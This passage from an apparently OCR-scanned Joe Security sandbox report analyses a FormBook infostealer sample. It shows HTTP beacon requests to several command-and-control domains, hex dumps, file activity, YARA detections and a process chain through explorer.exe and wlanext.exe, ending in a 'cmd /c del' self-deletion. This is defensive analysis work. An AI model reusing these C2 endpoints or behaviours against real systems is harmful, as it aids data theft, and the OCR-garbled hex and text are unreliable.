7yroxB2MR5WJ HTTP/1.1

Host: www.rainboxs.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred
May 12, 2021 6021
20:03:48.182682037 CEST
Session ID Source IP
7 192.168.2.4
kBytes
Timestamp transferred
May 12, 2021 6022
20:03:53.476977110 CEST
May 12, 2021 6022
20:03:53.613686085 CEST
Session ID Source IP
8 192.168.2.4
kBytes
Timestamp transferred
May 12, 2021 6024

20:04:03.782355070 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49767

Direction

ouT

Source Port

49768

Direction

ouT

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 12 May 2021 18:03:48 GMT

Content-Type: text/html

Content-Length: 275

ETag: "609953da-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

209.222.96.146 80 C:\Windows\explorer.exe

Data

GET /ordi/?HFQDEL_8=xTiNYjpz6 T1Ak700Pc1RU9z7aC84W9njSzpqqU4XaljgjdkzZuZgpX+EsFAQyzNyJiOr&4
h_HCv=a2JDa0Xx22IpWxjP HTTP/1.1

Host: www.nobleandmarble.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 302 Found

Date: Wed, 12 May 2021 18:03:53 GMT

Server: Apache

Location: http://www.nobleandmarble.com/cgi-sys/suspendedpage.cgi?HFQDEL_8=xTiNYjpz6T1Ak700Pc1RU9z7a
C84W9njSzpgqU4XaljgjdkzZuZgpX+EsFAQyzNyJior&4h_HCv=a2JDa0Xx22IpWxjP

Content-Length: 345

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e Oa 3c 74 69 74 6¢ 65 3e 33 30 32 20 46 6f
75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e
0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70
3a 2f 2f 77 77 77 2e 6e 6f 62 6¢ 65 61 6e 64 6d 61 72 62 6¢ 65 2e 63 6f 6d 2f 63 67 69 2d 73 79 73 2f 73 75 73 70 65 6e
64 65 64 70 61 67 65 2e 63 67 69 3f 48 46 51 44 45 4c 5f 38 3d 78 54 69 4e 59 6a 70 7a 36 54 31 41 6b 37 6f 4f 50 63 31
52 55 39 7a 37 61 43 38 34 57 39 6e 6a 53 7a 70 71 71 55 34 58 61 6¢ 6a 71 6a 64 6b 7a 5a 75 5a 67 70 58 2b 45 73 46
415179 7a 4e 79 4a 69 30 72 26 61 6d 70 3b 34 68 5f 48 43 76 3d 61 32 4a 44 61 30 58 78 32 32 49 70 57 78 6a 50 22
3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>302 Found</title></head>
<body><h1>Found</h1><p>The document has moved <a href="http://www.nobleandmarble.com/cgi-sys/suspendedpag
e.cgi?HFQDEL_8=xTiNYjpz6T1Ak700Pc1RU9z7aC84W9njSzpqqU4XaljgjdkzZuZgpX+EsFAQyzNyJiOr&amp;4h
_HCv=a2JDa0Xx22IpWxjP">here</a>.</p></body></htmI>

Destination IP Destination Port Process

23.227.38.74 80 C:\Windows\explorer.exe

Data

GET /or4i/?HFQDEL_8=bE8h/5YlylaGfqFoj5Gnx56IPI3pmXv2ej3H/Lylgjs4t+LIMarOZaaU3+bG1fp/+sg3&4h_HCv=a2JD
a0Xx22IpWxjP HTTP/1.1

Host: www.safegrinder.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred
May 12, 2021 6026
20:04:04.026160002 CEST
Session ID Source IP
9 192.168.2.4
kBytes
Timestamp transferred
May 12, 2021 6049

20:04:09.156018019 CEST

May 12, 2021 6050
20:04:09.293071032 CEST

Code Manipulations

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49771

Direction

ouT

Data

HTTP/1.1 403 Forbidden

Date: Wed, 12 May 2021 18:04:04 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: 156

X-Sorting-Hat-Shopld: 46831239325

X-Dc: gcp-us-centrall

X-Request-1D: e6a60d92-4f25-4e5a-82ch-4009d2ef67ba

X-Permitted-Cross-Domain-Policies: none

X-XSS-Protection: 1; mode=block

X-Download-Options: noopen

X-Content-Type-Options: nosniff

CF-Cache-Status: DYNAMIC

cf-request-id: 02035919650000¢c2ef55899000000001

Server: cloudflare

CF-RAY: 64e5913bdf2cc2ef-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 31 34 31 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
202020 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2¢ 48 65 6¢ 76 65 74 69
6361 2c 41726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
3a 313030 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
31 70 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6¢ 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65
3a 31 2e 3572 656d3b6d61 7267 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67

Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0}htmi{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}th1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-heig

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /or4i/?4h_HCv=a2JDa0Xx22IpWxjP&HFQDEL_8=1XIvg6XU5vVZMvk0S+FgKHUoBBBN1K6+BdhisE+/5jtYq3
yTMpA8IYHSBxv+elZJV1A/ HTTP/1.1

Host: www.tecquestrian.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 12 May 2021 18:04:09 GMT

Content-Type: text/html

Content-Length: 275

ETag: "60995c49-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>
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Statistics

Behavior

@ 1cec9342_by_Libranalysis.exe
® 1cec9342_by_Libranalysis.exe
@ explorer.exe

@ wlanext.exe

@ cmd.exe

@ conhost.exe

System Behavior

Click to jump to process

Analysis Process: 1cec9342_by_Libranalysis.exe PID: 6800 Parent PID: 5832

General

Start time: 20:02:19

Start date: 12/05/2021

Path: C:\Users\user\Desktop\lcec9342_by_Libranalysis.exe

Wow64 process (32bit): true

Commandline: ‘C:\Users\user\Desktop\lcec9342_by_Libranalysis.exe'

Imagebase: 0x400000

File size: 418969 bytes

MDS5 hash: 1CEC9342AC2C1F91201DF672382672F2

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.657286033.0000000002340000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000000.00000002.657286033.0000000002340000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:

00000000.00000002.657286033.0000000002340000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\ read data or list device directory file | object name collision 1 40576D CreateDirectoryA
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse
point
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File Path

C:\Users\user\AppData\Local\Temp\nsz26A1.tmp

C:\Users

C:\Users\user

C:\Users\user\AppData

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Temp

C:\Users\user\AppData\Local\Temp\fmkr8rw7aiu

C:\Users\user\AppData\Local\Temp\2813gk5gv9ujz

C:\Users\user\AppData\Local\Temp\nsu26D1.tmp

C:\Users

C:\Users\user

C:\Users\user\AppData

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Temp

Copyright Joe Security LLC 2021

Access

read attributes |
synchronize |
generic read

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic read

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

Attributes

device

device

device

device

device

device

device

device

device

device

device

device

device

device

Options

synchronous io
non alert | non
directory file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Completion

success or wait

object name collision

object name collision

object name collision

object name collision

object name collision

success or wait

success or wait

success or wait

object name collision

object name collision

object name collision

object name collision

object name collision

Count

Source
Address

405CF3

40576D

40576D

40576D

40576D

40576D

405CBC

405CBC

405CF3

40576D

40576D

40576D

40576D

40576D

Symbol

GetTempFileNameA

CreateDirectoryA

CreateDirectoryA

CreateDirectoryA

CreateDirectoryA

CreateDirectoryA

CreateFileA

CreateFileA

GetTempFileNameA

CreateDirectoryA

CreateDirectoryA

CreateDirectoryA

CreateDirectoryA

CreateDirectoryA
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File Path
C:\Users\user\AppData\Local\Temp\nsu26D1.tmp

C:\Users\user\AppData\Local\Temp\nsu26D1.tmp\8t7v9092aqg2mtu.dll

File Deleted

File Path
C:\Users\user\AppData\Local\Temp\nsz26A1.tmp
C:\Users\user\AppData\Local\Temp\nsu26D1.tmp

File Written

File Path Offset
unknown 6661

C:\Users\user\AppData\Local\Temp\fmkr8rw7aiu

Copyright Joe Security LLC 2021

Access Attributes

read data or list device
directory |
synchronize

read attributes | device
synchronize |
generic write

Length Value
€3 96 cb b9 bb 01 55

Options Completion

directory file | success or wait
synchronous io

non alert | open

for backup ident

| open reparse

point

synchronous io  success or wait
non alert | non
directory file

Completion

success or wait

success or wait

Ascii Completion

Source

Count Address Symbol

1

o UAWL.CLOW.AW?.... success or walit

b5 2b 57 ff c1 43 01 d8 w?.

4f 57 e6 dc 5e 02 57 3f L.O..Q(R.A....2..W........6D
e6cleaec 77 3fd5
4c 85 4f f5 a5 51 28 52

c0 5e 2a 2c 2a a4 7d
b2 a2 ¢6 d0 70 59 5b
79 b4 b3 el el f6 00
a2898b 89 e39bcl
f1 16 10 b4 7a 7c 6a
1305 fl el 06 10 a6
99 9b 99 f3 f0 01 f1 16
40 b7 a9 ab ca 23 1c
11 31 66 50 09 b9 bb
b9 33 4d 31 21 46 40
1bc9 cb da 43 3341
3156 800d eaecea
63 64 31 61 86 90 1f
d9 db f9 73 62 61 61
b5 80 51 09 Ob 09 63
9d 81 71 96 90 63 3a
3c2a933971alch
cf 55 19 1b 19 b3 b0
81 b1 d5 bf 67 29 2b
49 a3 d4 d2 bl e5 cf
ba 7a 7c 7a b3 df b1
e2 05 ff cc 8a 8c 59 a0
1c f0 13 11 cO 7b 69
6b 16 ef f4 e0 03 d1 24
04 f4 02 f2 15 ff 14 f6
16 f4 20 43 01 48

40572D CreateDirectoryA

405CBC CreateFileA

Source
Count Address Symbol

1 4035BF DeleteFileA
1 4058EE DeleteFileA
Source

Count Address Symbol
1 405D51 WriteFile
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File Path

C:\Users\user\AppData\Local\Temp\2813gk5gv9ujz

C:\Users\user\AppData\Local\Te
mp\nsu26D1.tmp\8t7v9092ag2mtu.dll

File Read

File Path

Offset Length Value

5d e423f14344c4
ba ae f4 ff Ob 53 19 95
1d 17 50 cb 7e 02 ce
9b 71 c0 43 6f b5 b2
00 15 1c 2a 82 4a a9
5b ca 4b 76 d8 el be
al ef 4c b3 26 df 3b ef
be d4 2f de 5b 4f 00 a3
6a 02 6¢ 0d 84 27 08
ac 12 91 b7 a2 e5 d5
04 ¢3 82 b0 b7 49 dd
ed 1c 14 97 7b de 33
55 50 48 0a 5e Oe 8a
09 0d 5b 5f b4 Oc fc a9
57 2a78 98 1c 92 e6
7959 0b 35 27 ¢5 34
5c c6 e2 6b 36 9b 10
5a d3 4c 2b ba bd f1
98 dd Oc c4 14 e6 94
73 d5 af a3 66 b9 af fc
€315 01 59 3a 13 9b
ba 3e b7 88 0b Oe cb
65 d2 ca 5d d7 89 06
71 ef 3e b0 ad bb bf of
b7 4a 87 2e 07 4f 7d df
e7 aa e8 72 Oc 9a 60
60 bb 7f 5d cd 3e Oe
61 5f e7 84 67 3d 1e
79 24 f6 Ob €8 11 {3 02
ac 12 da d1 f0 50 31
ed fc fb Oc 9a 5b 07 e0
9b ce b7 d6 4f 90 53
8a 25 3c €3 8389 7f
8024 c6 al a4 b4 e0
67 Oc be 77 e8 55 f4 fb

unknown 32768

unknown 4096 4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 d8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d Oa 24
00 00 00 00 00 00 00
237874 1a67 19 la
49 67 19 1a 49 67 19
1a 4967 19 1b 49 79
19 1a 49 9b 6e a3 49
68 19 1a 49 40 df d4
49 66 19 1a 49 40 df
d0 49 66 19 1a 49 40
df d6 49 66 19 1a 49
52 69 63 68 67 19 1a
49 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 50 45 00
00 4c 01 03 00 61 ad
94 60 00 00 00 00 00
00 00 00 €0 00 02 21
Ob 01 Ob 00 00 04 00
00 00 08 00 00 00 00
00

Offset

unknown

Ascii

]#CD.....S...P.~...q.Co...

FJLKV.... L& [[O.]

s l..{3UPHA....

[ Wx...yY.5 4\ k
6.Z.L+.......... s.f.lY:

}

............ 1..L.IThis program
cannot be run in DOS
mode....
$......#xt.g..1g..1g..1g..1y.
Lnlh.1@..1f.1@..1f..1@..1
f..IRichg.

Length
512

Completion

success or wait

success or wait

Completion

success or wait

Count Address
488  405D22

Source
Count Address Symbol

6 405D51 WriteFile

1 405D51 WriteFile

Source
Symbol

ReadFile

C:\Users\user\Desktop\lcec9342_by_Libranalysis.exe

C:\Users\user\Desktop\lcec9342_by_Libranalysis.exe unknown 4 success or wait 2 405D22 ReadFile

C:\Users\user\Desktop\lcec9342_by_Libranalysis.exe unknown 4 success or wait 11 405D22 ReadFile

C:\Users\user\AppData\Local\Temp\fmkr8rw7aiu unknown 6661 success or wait 1 6FD7116B ReadFile
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Analysis Process: 1cec9342_by_Libranalysis.exe PID: 6840 Parent PID: 6800

General

Start time: 20:02:20

Start date: 12/05/2021

Path: C:\Users\user\Desktop\lcec9342_by_Libranalysis.exe
Wow64 process (32bit): true

Commandline: ‘C:\Users\user\Desktop\lcec9342_by_Libranalysis.exe'
Imagebase: 0x400000

File size: 418969 bytes

MDS5 hash: 1CEC9342AC2C1F91201DF672382672F2

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000001.650458502.0000000000400000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000001.00000001.650458502.0000000000400000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000001.650458502.0000000000400000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000002.693950928.0000000000020000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000001.00000002.693950928.0000000000D20000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000002.693950928.0000000000D20000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000002.693323611.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000001.00000002.693323611.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000002.693323611.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000002.693535798.00000000009B0000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000001.00000002.693535798.00000000009B0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000002.693535798.00000000009B0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low

File Activities

File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 4182B7 NtReadFile

Analysis Process: explorer.exe PID: 3424 Parent PID: 6840

General

Start time: 20:02:25

Start date: 12/05/2021

Path: C:\Windows\explorer.exe
Wow64 process (32bit): false

Commandline:
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Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

0x7ff6fee60000

3933184 bytes
AD5296B280E8F522A8A897C96BABOELD

true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: wlanext.exe PID: 5876 Parent PID: 3424
General
Start time: 20:02:40
Start date: 12/05/2021
Path: C:\Windows\SysWOW64\wlanext.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Read

File Path
C:\Windows\SysWOWe64\ntdll.dll

true

C:\Windows\SysWOW64\wlanext.exe

0x11c0000

78848 bytes
CD1ED9A48316D58513D8ECB2D55B5C04

true

true

C, C++ or other language

.

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.906821366.0000000001030000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000007.00000002.906821366.0000000001030000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.906821366.0000000001030000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.907308680.00000000032A0000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000007.00000002.907308680.00000000032A0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.907308680.00000000032A0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.907353969.0000000003300000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000007.00000002.907353969.0000000003300000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.907353969.0000000003300000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

moderate
Source
Offset Length Completion Count Address Symbol
0 1622408 success or wait 1 10482B7 NtReadFile

Analysis Process: cmd.exe PID: 6164 Parent PID: 5876
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General

Start time: 20:02:44

Start date: 12/05/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\user\Desktop\lcec9342_by_Libranalysis.exe'
Imagebase: 0x11d0000

File size: 232960 bytes

MDS5 hash: F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Path Access Attributes Options Completion

Source
Count Address Symbol

Analysis Process: conhost.exe PID: 3980 Parent PID: 6164

General

Start time: 20:02:44

Start date: 12/05/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff724c50000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Disassembly

Code Analysis
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